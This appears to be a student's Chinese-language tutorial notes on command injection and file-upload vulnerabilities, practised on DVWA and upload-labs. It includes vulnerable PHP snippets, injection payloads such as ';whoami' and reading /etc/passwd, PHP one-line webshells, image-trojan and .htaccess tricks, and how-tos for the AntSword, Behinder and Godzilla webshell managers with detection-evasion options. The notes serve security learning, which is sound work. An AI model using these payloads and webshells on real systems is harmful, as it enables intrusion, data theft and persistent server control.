命令注入

一些概念补充

服务器概念补充

服务器是安装了某项服务的机器,不仅可以供本机使用也可以使外部机器使用。

简单来说就是每台机器上装载了类似于mysql数据库之类的东西,然后通过类似映射的手段来使该服务在其他的机器上也可以使用。

那么在找寻某项服务是,就需要搜索ip(该主机地址)+端口号(锁定某项服务,例如ssh服务端口。)

ip概念补充

1
2
3
4
5
6
7
8
9
公网和局域网是计算机网络中两个不同的概念。

公网(Internet)是指全球范围内互联的计算机网络,它由各种全球性和区域性网络互相连接而成。公网通过广域网(WAN)技术实现,可以覆盖整个地球,并提供各种服务,如电子邮件、网页浏览、文件传输等。公网是开放的,任何拥有合法权限的用户都可以访问。

局域网(LAN)是指在一个相对较小的地理范围内的计算机网络,通常限制在某个建筑物、办公室、校园或家庭内部。局域网通过局域网技术实现,一般使用以太网或Wi-Fi无线网络进行连接。局域网主要用于内部资源共享、打印机共享、文件传输和内部通信等。局域网通常由路由器或交换机连接到公网,以便局域网中的计算机可以访问公网上的资源。

公网和局域网之间的联系主要是通过路由器实现的。路由器连接了公网和局域网,并负责将从公网发来的数据包转发给局域网中的适当设备,同时也负责将局域网中的数据包发送到公网。这样,局域网中的设备可以通过路由器与公网上的其他设备进行通信。

总结起来,公网是全球范围内互联的网络,而局域网是限定在一个相对较小地理范围内的网络。它们之间通过路由器进行连接和通信。
不同类型局域网的应用场景
1
2
3
4
5
6
7
8
9
不同的IP地址段可用于不同的局域网场景。以下是一些常见的情况:

1. 192.168.x.x地址段:这是一个私有IP地址段,通常用于家庭、小型企业和组织的局域网中。例如,192.168.0.1或192.168.1.1通常用作路由器的默认IP地址。
2. 172.16.x.x至172.31.x.x地址段:这也是一个私有IP地址段,通常用于中等规模企业、大型机构或学校的局域网中。
3. 10.x.x.x地址段:这也是一个私有IP地址段,通常用于大型企业、学校和政府机构的局域网中。
4. 公司或组织分配的自定义IP地址段:某些组织可能会向其员工或客户分配自定义的IP地址段,这些地址段可用于局域网中的特定场景。
5. 其他公共IP地址段:除了上述私有IP地址段外,还有其他公共IP地址段可用于局域网中,如169.254.x.x地址段和100.64.x.x至100.127.x.x地址段等。

在选择使用哪种IP地址段时,需要考虑到局域网的规模、安全需求、网络拓扑结构等因素。
docker镜像网络概念补充

docker镜像的网络是虚拟机(vmware)以自己的网络(物理机网络)构造的虚拟网络。通过端口映射来使外部机器来访问。

DVWA靶场搭建

下载

在kali中使用docker搭建命令

1
docker search dvwa

在弹出的选项中选择要下载的镜像

1
docker pull 镜像id

配置使用

下载完之后就可以使用容器调用镜像了

1
docker run -itd -p 8080:80 -p 3307:3307 镜像id(这里由于80端口占用所以使用8080端口,打开的映像端口为3307)

之后就可以通过访问ip:端口号的方式访问该靶场

点击红框处重置账密

之后输入默认账密(admin:password)登入

设置难度(这里推荐low难度)

命令注入漏洞详解

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
命令注入(Command Injection)是一种常见的web应用程序漏洞,它允许攻击者在目标系统上执行恶意命令。这种漏洞通常发生在web应用程序使用用户提供的输入来构造操作系统命令的情况下。

命令注入漏洞的原理是,当web应用程序对用户输入进行不充分的验证和过滤时,攻击者可以通过在可执行命令中注入恶意代码来执行任意命令。这样的注入通常发生在用户输入被直接或间接地传递给操作系统命令执行函数时。

以下是一个简单的示例来说明命令注入漏洞的原理:

假设有一个web应用程序,它接受用户的姓名并在服务器上运行一个命令来创建一个新的用户账户。应用程序可能会将用户提供的姓名作为参数传递给一个命令。

```
例如:system("useradd " + username);
```

如果应用程序没有正确验证和过滤用户提供的姓名,攻击者可以通过在姓名字段中注入恶意代码来执行任意命令。例如,攻击者可以输入以下内容作为姓名:

```
"; ls; echo "
```

这将会导致应用程序构造以下命令并在服务器上执行:

```
system("useradd "; ls; echo "");
```

攻击者成功地注入了一个额外的命令(`ls`),并且该命令会在应用程序中执行。

通过利用命令注入漏洞,攻击者可以执行任意系统命令,包括查看、修改或删除文件,创建新的用户账户以及在目标系统上执行其他恶意操作。因此,对于接受用户输入并构造系统命令的web应用程序,必须进行严格的输入验证和过滤,以防止命令注入漏洞的利用。

简单来说就是如果网页使用一些危险函数(如上图所示)导致用户提交的数据当做函数中的一部分被执行,如果用户提交的数据中包含一些命令,导致命令被执行(比如说上图中的用户提交ip加一个分号(php中一个命令后加入逻辑运算符后再写入另一个命令,可以使这两个命令,或重复此操作后的更多指令同时运行;)),则会导致严重的后果。

[但是这个漏洞在黑盒测试中很少,该漏洞一般是在白盒测试中被审计挖掘出来的。(补充:黑盒测试即只有一条网站链接来进行渗透测试的漏洞,白盒测试则是拥有网站源代码可以进行代码审计的渗透测试。)]

例如:在输入127.0.0.1;whoami后会回显以下信息(甚至可以不传入原有要求传入值,只传入逻辑运算符加命令,也可以运行该命令,并在报错信息下方回显命令要求的信息数据。)

可以看到,除了ping指令执行的效果之外,还执行了whoami指令,并回弹相应的信息。

常见危险函数

1.eval()函数造成的命令注入漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1、函数用法
eval(phpcode)
Phpcode 规定要计算的php代码。通常用分号结束每句代码的执行。

2、环境源码:
<?php
$var = "var";
if(isset($_GET["name"])){
$arg = $_GET["name"];
eval("\$var=$arg;");
echo "\$var = ".$var;
}
?>

3、常用一句话木马
<?php @eval($_GET['qwe']);?>
---------------------------------------------------
@表示后面即使执行错误,也不报错。 |
eval()函数表示括号内的语句字符串什么的全都当做PHP代码执行。|
$_POST['pass']表示从页面中获得pass这个参数值。 |
---------------------------------------------------
构造语句:
name=phpinfo()
2.system()函数造成的漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
1、函数用法:
System(string command,int &return_var)
Command 要执行的命令
Return_var 存放命令的执行后的状态值
2、环境源码:
<?php
$cmd = $_GET['cmd'];
if(isset($cmd)){
echo system("dir".$cmd);
}
?>
构造语句:
Cmd=| /etc/passwd
3.shell_exec()函数造成的漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
1、函数用法:
shell_exec(string command)
command 要执行的命令
2、环境源码:
<?php
$cmd = $_GET['cmd'];
if(isset($cmd)){
echo "<h3>";
echo shell_exec("dir".$cmd);
echo "<h3>";
}
?>
3、测试:
构造语句: | whoami
4.passthru()函数造成的漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1、函数用法:
void passthru (string command, int &return_var)
command 要执行的命令
return_var 存放执行命令后的状态值
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix
命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system()
函数。
2、环境源码:
<?php
$cmd = $_GET['cmd'];
if(isset($cmd)){
echo passthru($cmd);
}
?>
3、测试
构造语句 cmd=whoami

扩展:图片马制作流程

博客连接:https://www.cnblogs.com/1ink/p/15101706.html

常见的图片马一般是直接将木马文件后缀名更改为jpg或者png文件来达到上传的条件,这里采用另外的几种方法。

1.notepad++文件打开添加

文件打开之后由于图片文件无法解析,所以会生成一堆乱码,这里只需要将一句话木马添加在乱码后边保存退出即可。

2.cmd命令执行合成图片马

我靠,精灵融合!!!!

cmd的copy指令和>输出路径管道符可以实现将两个文件复制进同一个文件并输出该文件,所以这里使用以下命令就可以完成图片马的融合制作。

1
2
3
4
5
6
cmd中 copy 1.jpg/b+2.php 3.jpg

- /b是二进制形式打开
- /a是ascii方式打开
- 看到有人说一定要把图片放前面,木马放后面才能成功,我亲自试了这两种制作方式(另一种图片放后面),均能成功连接,但是后者的一句话木马在文件开头,不推荐
(内容来源于博客)
3.ps

ps的话是将图片打开之后,将文档简介的文档标题更改为一句话木马,也可以实现完成图片马的制作。

4.文件欺骗
1
2
3
4
5
6
7
8
9
在文件欺骗中,如果在文件数据包前加入GIF89的内容,这实际上是一种通过修改文件头部来欺骗系统或应用程序的手段。文件头部通常包含文件的元数据和标识信息,而在这个过程中使用了GIF89是因为它是GIF图像文件的头部标识。

下面是在文件数据包前加入GIF89实现文件欺骗的原理:

1. **文件头部结构:** 不同类型的文件有不同的文件头部结构,其中包含了文件的元数据、标识信息和格式信息。在GIF图像文件中,文件头部通常以"89a"开头。
2. **加入GIF89标识:** 攻击者在欺骗过程中将GIF89的标识添加到文件数据包的开头。这可以通过在文件的二进制数据中插入ASCII字符 "GIF89" 或相应的十六进制表示。
3. **混淆文件类型:** 由于加入了GIF89的标识,系统或应用程序可能会误认为这个文件是一个GIF图像文件,而不是其实际的文件类型。这样可以绕过一些基于文件类型识别的安全机制。
4. **文件扩展名不一致:** 攻击者可能会故意修改文件的扩展名,使其与GIF图像文件相符,以进一步欺骗用户和系统。
5. **欺骗用户执行:** 如果攻击者能够使用户相信这个文件是一个图像文件,用户可能会尝试用图像查看器或编辑器打开它,从而执行其中包含的恶意代码。

所以可以在一句话木马文件前加入GIF89a来实现后缀名为jpg的图片马不被识别出来,并利用.htaccess文件将图片文件更改为php文件。

1
ps:图片马要注意的一点是,图片尽量不要过大,有的时候图片太大会导致图片上传失败,当然具体失败原因还是要观察js函数要求。
1
2
3
4
ps:.htaccess基础知识*重点内容*
.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
它里面有这样一段代码:AllowOverride None,如果我们把None改成All

文件上传

推荐博客链接:文件上传漏洞详解-CSDN博客

原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
文件上传漏洞是指攻击者通过利用应用程序或系统中存在的安全漏洞,绕过文件上传的限制,上传恶意文件到服务器。文件上传漏洞的原理如下:

1. 未正确验证文件类型:应用程序在文件上传时未对文件类型进行严格的验证,导致攻击者可以上传任意类型的文件,包括恶意脚本文件(如PHP、ASP等可执行文件)。
2. 不正确的文件扩展名检查:应用程序可能只检查文件扩展名而不对文件内容进行检查。攻击者可以修改文件的扩展名来绕过检查,将恶意文件伪装成合法文件。
3. 绕过前端验证:前端页面上的上传限制可以被绕过,攻击者可以通过修改请求的属性或使用代理工具等方式,绕过前端的文件上传限制。
4. 绕过后端验证:即使应用程序在前端做了文件上传限制,但后端处理上传文件的代码中存在安全漏洞,攻击者可以通过构造恶意的文件上传请求来绕过后端的验证。
5. 目录穿越漏洞:应用程序在保存上传文件时没有正确处理用户提供的文件路径信息,导致攻击者可以通过构造特殊的文件名来实现目录穿越,将文件保存到其他目录下,甚至执行任意文件读写操作。

攻击者利用文件上传漏洞可以上传恶意文件到服务器,可能导致以下安全问题:

- 执行远程代码:攻击者上传的恶意文件(如Web脚本)可能被服务器执行,从而导致远程代码执行漏洞。
- 文件覆盖:攻击者上传的文件可能会覆盖原有的合法文件,导致服务不可用或数据丢失。
- 信息泄露:攻击者上传的文件可能包含敏感信息,泄露给其他人员获取。
- 后门植入:攻击者上传的恶意文件可能包含后门程序,用于持久性访问和控制服务器。

为了防止文件上传漏洞,应开发安全的文件上传功能,包括但不限于:

- 对文件类型进行验证,并限制上传的文件类型。
- 对文件内容进行检查,确保上传的文件是合法的。
- 对文件名进行处理,避免目录穿越漏洞。
- 对上传文件进行隔离,将上传的文件保存在独立目录下,并设置适当的文件权限。
- 对上传文件进行安全扫描,检查是否包含恶意内容。
- 定期更新和修补应用程序,以修复可能存在的安全漏洞。

简单来说原理就是没有对上传文件进行检测过滤,导致上传的文件导致他人能够通过访问该文件并通过某些工具和指令获取信息或者造成危害系统的效果。实现原理则是在页面有文件上传时,没有上传文件检测,这时有心者可以利用一些PHP木马,java木马(统称webshell)等文件来达到拿取类似终端操作系统的效果。

简单流程总结:上传一句话木马等木马程序,来使当前网页编变成一个和终端一样效果的webshell,之后通过各种命令来继续其他的操作

文件上传条件

1.有上传点

至少要有一个上传文件的地方,这里比较常见的是上传图片(jpg后缀名文件),那么就可以使用图片马来实现木马文件的上传(发明图片![](../../../../../Eagle Camp/授课文件作业/web漏洞/笔记md文件/命令注入与文件上传漏洞原理.assets/0072E489.png)的人一定是个人才)。

2.后端允许恶意文件的上传,或者说我们可以绕过

如果对方有拦截手段的话,或者没有绕过能力的话,自然gg了。

3.上传的文件服务器可以执行

看网站服务器的配置文件,可以运行什么类型的文件,总不能在php的站点上传java的马,服务器试运行不了该文件的,文件执行不了,后续手段更没用了

4.能访问到上传的文件

有些服务器是不允许外界访相应文件路径的,这就导致文件在我们手中的操作性就很小了,另外,大多时候文件上传之后是不会回显路径的。

扩展:路径概念补充

浏览器访问路径时有以下三种情况:

1.目录:
1
2
3
4
5
当浏览器访问的路径最终指向一个目录,那么就要看服务器相关权限配置情况

​ (1)该目录可访问,那么浏览器网页最终会返回该目录下的文件

​ (2)如果该目录不可访问,那么浏览网页就会回显404
2.代码块
1
当浏览器访问的路径最终指向一个代码块,那么该代码就会被执行,并将执行结果打包进响应体中返回
3.文件
1
就要看文件的类型了,如果是可执行的文件(服务器是否配置过相关插件),服务器会优先将可执行的文件执行,并将结果封装进响应体中返回,如果是不可执行的文件,则服务器会将整个文件封装进响应体中返回。

简单手工实操

1.准备要上传的文件,木马,工具

1
2
3
4
5
靶场:DVWA(low)

上传文件:这里使用简单的一句话木马<?php @eval($_POST['1']);?>,写入txt记事本中,将后缀名改为PHP,之后进行文件上传。(这里的木马目的是控制名为1的参数的值,那么当我们输入1=某些命令时,则该命令就会被执行。)

工具:Hackbar V2

2.上传木马,记录木马路径

3.访问文件路径,并输入1=phpinfo()来查看文件是否起作用

这里可以看到木马已成功植入,可以进行下一步操作。

4.简单命令操作

这里要注意的是,如果要执行命令,则等号后的值要用system()包裹,因为这是以php写的木马程序,所以只会执行php代码。

常见webshell管理工具

蚁剑(AntSword)

主要功能:

能够连接常见php和jsp的webshell,并提供管理面板。(蚁剑是最新版本也就是最近几个月的版本更新了jsp的webshell。)

安装流程:

下载完成后打开蚁剑启动器开始初始化,选中主要代码路径(这里不知道为什么,我必须要挂梯子才能初始化完成,这里推测是github项目的问题,可能部分的源码没给,要从github上下载。)

使用功能详解

使用教程:中国蚁剑(AntSword)安装、使用教程_中国蚁剑使用教程-CSDN博客

1.首先点开webshell界面后点击添加数据
2.基础配置栏
1
2
3
4
5
6
7
8
9
url地址:文件上传后的url路径地址

连接密码:上传的木马文件的post参数中的值 [比如这里的一句话木马<?php @eval($_GET['qwe']);?>的连接密码就是qwe] (这里要注意的一点是,蚁剑的特殊设定导致特上传的木马文件必须要是post参数的)【GET参数马蚁剑密码失效解决办法:在蚁剑连接的url处构造post参数使密码可以生效,例如在http://192.168.149.131:8080/hackable/uploads/1.php后边加上?1=eval($_POST['2']);之后再将密码更改为post参数中的值就可以了。】

编码设置:这里则是要根据网页的编码来进行设置

连接类型:还是拿一句话木马[<?php @eval($_GET['qwe']);?>]举例,这里的连接类型用到了@eval也就是php中的函数,所以网页是php型的网站,所以这里下图中的连接类型选择php

编码器:根据博客内容,编码器用来进行免杀绕过,将内容进行编码,以此来绕过某些网站安全工具的检测,从而达到渗透效果。
3.请求信息

请求信息栏主要服务于某些会在请求头或者请求体中设置特殊参数(自定字段,cookie,登录凭证)的网站,由于如果没有这些特殊参数则网站无法正常访问,所以,需要在这里添加这些参数,来进行正常渗透行动。

4.其他设置

这里的其他设置就看个人要用到哪些东西了(比如后续的绕过之类的)

5.简单连接

一般上完马,配置好基础配置就可以添加数据了,之后双击连接,这里可以看到蚁剑也是十分人性化的添加了物理位置

双击之后,我们可以看到已经是拿到了目标的网站目录了,左边是网站的整体目录结构,右边则是当前文件夹的文件内容,这里也是无意间看到网站flag

6.打开shell面板

这里的终端是由蚁剑来构造的一个终端,(这里要注意的是,我们写的马拿到的一般都是普通权限,想要高权限的话要进行提权。)

7.数据操作

数据操作可以让我们连接到数据库,但是要注意的是,连接的前提是数据库开启了远程连接。

冰蝎(Behinder)

主要功能:

能够连接常见php和jsp的webshell,并提供管理面板,提供加密的webshell。

使用功能详解

1.文件打开方式

命令行输入java -jar 文件名,这里的话因为java环境配的还不错,所以我可以双击打开,这里直接快捷方式。

2.冰蝎webshell

冰蝎和哥斯拉不同的是他不会提供木马生成工具,但是他提供了木马模板(这里要注意的是在更改密钥时要将新密钥进行32位的md5加密并截取前16位填入木马模板中来达到更换密钥的效果)

3.传马连接

这里的连接密码就是你自己定义的连接密钥,之后点击保存后双击url就可以进行连接了

这里冰蝎有一个很吊的功能就是注入内存马,内存马相对于文件马来说更难的查杀,所以它的潜伏性更强。(但是目前冰蝎的内存马只支持java)

哥斯拉(Godzilla)

主要功能:

能够连接常见php和jsp的webshell,并提供管理面板,可以生成加密的webshell。

使用功能详解

1.启动流程

首先哥斯拉只有一个jar包,正常启动流程应该是在那个位置打开命令行也就是终端,之后输入java -jar 文件名打开,但是有些java环境可以直接双击打开jar包,所以我直接设置快捷方式,但是弊端就是无法查看文件打不开的原因,查看不了报错信息。

正常流程

2.管理生成

管理生成模块主要用来生成webshell文件的(生成木马文件的),这里的选项作用如下

1
2
3
4
5
6
7
密码:和蚁剑一样,这里的密码指的是post参数中包裹的值

密钥:这里的密钥则是为加密器服务的,加密器不同类型生成的马有些是需要密钥的

有效载荷:网页类型,这里使用的靶场是php页面,所以这里选择php

加密器:生成某些服务加密的木马来躲避文件管理人员的筛查,譬如生成流量加密的木马,同时加密器需要密钥服务,有密钥才能进行解密。
3.拿取webshell

将哥斯拉生成的木马上传后,拿到上传路径url,之后就可以点击目标添加根据木马类型来拿取webshell添加连接了。

4.操作连接

添加完连接之后就可以右键点击进入来进行后续操作了,这里可以看到哥斯拉也是提供了很多功能,而且提供了很多便捷操作按钮。

upload-labs靶场

靶场安装流程

靶场安装使用docker容器虚拟机安装,没有使用小皮本地安装,upload-labs靶场有些关卡利用的是linux特性,有些利用的windows特性,这里虚拟机使用的kali所以主要运用linux特性。

1
2
3
4
5
6
7
安装流程:

docker search upload-labs

docker pull c0ny1/upload-labs:latest

docker run -itd -p 8081:80 -p 3307:3307 aa4

前后端检测判断方法

在提交文件时,打开控制台,通过查看控制台网络部分是否含有后端文件数据包来判断是不是后端检测,同时也可以检查前端js代码来判断前端检测方式。

上传路径获取方式

1
2
3
1.查看前端代码,来判断文件上传位置来确定路径。

2.通过右键图片,用新标签页打开来直接抵达文件位置,从而确定文件路径

木马上传成功使用验证

1
?1=phpinfo();

使用上边的指令通过页面弹出方式来判断是否上传成功,以及能否使用。